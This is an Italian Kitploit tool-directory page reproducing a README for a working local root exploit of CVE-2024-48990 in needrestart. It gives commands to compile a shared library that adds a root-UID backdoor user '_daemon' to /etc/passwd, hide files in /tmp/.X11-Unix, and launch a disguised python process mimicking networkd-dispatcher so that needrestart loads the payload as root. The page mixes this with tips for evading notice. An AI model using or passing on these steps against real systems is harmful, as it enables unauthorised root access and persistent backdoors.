Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-48990 — Exploit per CVE-2024-48990 (Escalation dei privilegi locali in needrestart < 3.8) | Kitploit
Strumenti/GitHubGitHub/ns989/cve-2024-48990
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed Teaming
GitHubns989/cve-2024-48990

CVE-2024-48990

Exploit per CVE-2024-48990 (Escalation dei privilegi locali in needrestart < 3.8)

Vedi Repository
51 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-48990

Exploit per CVE-2024-48990 (Escalation dei privilegi locali in needrestart < 3.8)

Background

Leggi https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys fa un ottimo lavoro spiegandolo.

TLDR;

Sui sistemi con needrestart inferiore alla 3.8, gli utenti locali possono eseguire codice arbitrario ed escalare i privilegi a root senza interazione da parte dell'utente.

Screenshot from 2024-11-21 20-07-48

Exploit

L'exploit come scritto ora aggiungerà un nuovo utente chiamato "_daemon" al sistema con UID/GID 0 (root) utilizzando un comando sed per modificare il file /etc/passwd. La password è uguale al nome utente. Non sono nemmeno sicuro che si possa chiamare exploit dato che è solo una libreria condivisa che esegue un singolo comando.

Per compilare l'exploit da soli, esegui il comando seguente:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. Crea una directory per memorizzare i file dell'exploit. La directory che crei deve avere una sottodirectory chiamata "importlib"

mkdir -p /tmp/.X11-Unix/importlib

2. Avvia un processo che innescherà l'exploit

Potresti eseguire qualsiasi script python di lunga durata. Ma per sembrare meno sospetto nell'elenco dei processi, puoi usare questo one-liner per avviare un interprete python che viene sospeso appena parte (così non esegue mai nulla).

  • PYTHON - Il percorso dell'interprete python

  • ARGV - La stringa che apparirà nell'elenco dei processi

  • PYPATH - Il percorso della directory che hai creato (senza includere la directory importlib)

Per ARGV assicurati che:

  • il percorso dell'interprete python sia il primo argomento in ARGV

  • il secondo argomento (lo "script") sia un file che esiste effettivamente sul sistema (needrestart lo verifica). Non deve essere un vero script python.

  • il secondo argomento non sia uguale a un processo già in esecuzione (needrestart userà quello "cached" già visto).

Per il resto, puoi giocare con ARGV quanto vuoi. Magari fallo sembrare un normale processo di sistema?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. Sposta l'oggetto condiviso dell'exploit nel posto giusto

Deve essere all'interno della directory importlib e chiamato "init.so"

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. Aspetta che needrestart faccia la sua parte

La prossima volta che needrestart viene eseguito (ad esempio un aggiornamento con apt o unattended-upgrades lo avvia), eseguirà python con la variabile PYTHONPATH del nostro processo e caricherà il file init.so, che eseguirà il nostro comando. Potrai accedere con le credenziali _daemon:_daemon.

Cose che possono impedire all'exploit di funzionare

needrestart non è completamente stupido e controlla alcune cose durante la scansione dei processi e prima di entrare nella parte vulnerabile del codice

  • Il processo è uno script python in esecuzione? Se no, lo salta (i processi python -c vengono saltati)
  • Il processo è già stato visto? Non è possibile fare una copia carbone di un altro processo (ad esempio unattended-upgrade-shutdown o networkd-dispatcher) o verrà saltato.
  • Se /etc/needrestart/needrestart.conf ha "$nrconf{interpscan}" impostato su "0", sei sfortunato.
Scarica lo strumento